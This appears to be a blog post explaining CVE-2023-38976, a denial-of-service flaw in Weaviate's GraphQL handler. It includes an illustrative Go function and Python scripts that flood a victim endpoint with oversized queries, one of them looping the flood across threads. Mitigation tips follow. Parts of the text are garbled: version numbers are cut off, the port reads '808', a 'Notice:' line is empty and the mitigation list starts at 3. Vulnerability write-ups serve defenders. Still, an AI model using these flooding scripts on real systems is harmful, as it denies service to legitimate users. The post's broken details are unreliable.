In August 2023, a critical vulnerability—CVE-2023-38976—was discovered in Weaviate, a popular open-source vector database backed by SeMI Technologies. The bug affects version 1.20. and allows any remote attacker to cause a denial of service (DoS) by abusing the handleUnbatchedGraphQLRequest function. This post walks you through how the bug works, how attackers can exploit it, and how to protect your systems.

What is Weaviate?

If you’re not familiar, Weaviate is a cloud-native vector database for machine learning applications. It provides a GraphQL and RESTful API. Lots of projects use Weaviate for things like semantic search and recommendation engines.

What’s the CVE-2023-38976 Bug?

This vulnerability revolves around how Weaviate’s GraphQL endpoint processes unbatched requests. Specifically, the function handleUnbatchedGraphQLRequest fails to limit or properly handle large or malicious inputs. This opens the door for remote attackers to crash your server, which stops users from using your database until you restart it.

The dangerous function looks something like this

// From weaviate/graphql/graphql.go

func handleUnbatchedGraphQLRequest(w http.ResponseWriter, r *http.Request) {
    // Read GraphQL query from request body
    body, err := ioutil.ReadAll(r.Body)
    if err != nil {
        http.Error(w, "cannot read body", http.StatusBadRequest)
        return
    }
    // Parse & execute the query (no input checks)
    result := executeGraphQLQuery(body)
    w.Write(result)
}

Notice:

Why Is That a Problem?

Attackers can send huge or malicious GraphQL queries to this endpoint. When Weaviate tries to parse and execute them:

Memory spikes (out-of-memory kills the process)

- CPU stalls (parsing/processing complex queries hangs or slows your DB)

Here's how an attacker might trigger the bug using a simple Python script

import requests

endpoint = "http://<victim-ip>:808/v1/graphql";
# Craft an extremely large (or infinitely nested) query string
HUGE_QUERY = "{" + "a"*10000000 + "}"

response = requests.post(endpoint, data=HUGE_QUERY)
print(response.status_code)

Or, for maximum effect, send multiple oversized queries quickly

import threading

def dos():
    while True:
        requests.post(endpoint, data=HUGE_QUERY)

# Launch 5 threads to amplify the attack
for i in range(5):
    threading.Thread(target=dos).start()

Result: The server runs out of RAM and crashes, denying service to legitimate users.

References and Mitigation

- Official CVE Record: CVE-2023-38976 on NVD
- Weaviate Issue Tracker: GitHub Report
- Patch: According to Weaviate release notes, the bug was fixed in version 1.20.1 by adding request size and complexity checks.

Network Controls: Restrict API endpoints to trusted sources or use firewalls.

3. Rate Limit: Use proxies like Nginx to limit large/suspicious POST requests.
4. Monitor: Set up memory/CPU usage alarms or use container limits.

Conclusion

CVE-2023-38976 shows how even mature open-source projects can have dangerous oversights. If you’re running Weaviate 1.20. or earlier, patch as soon as you can! For more information, check out the official CVE details and Weaviate’s changelog.

Timeline

Published on: 08/21/2023 17:15:48 UTC
Last modified on: 08/29/2023 22:15:09 UTC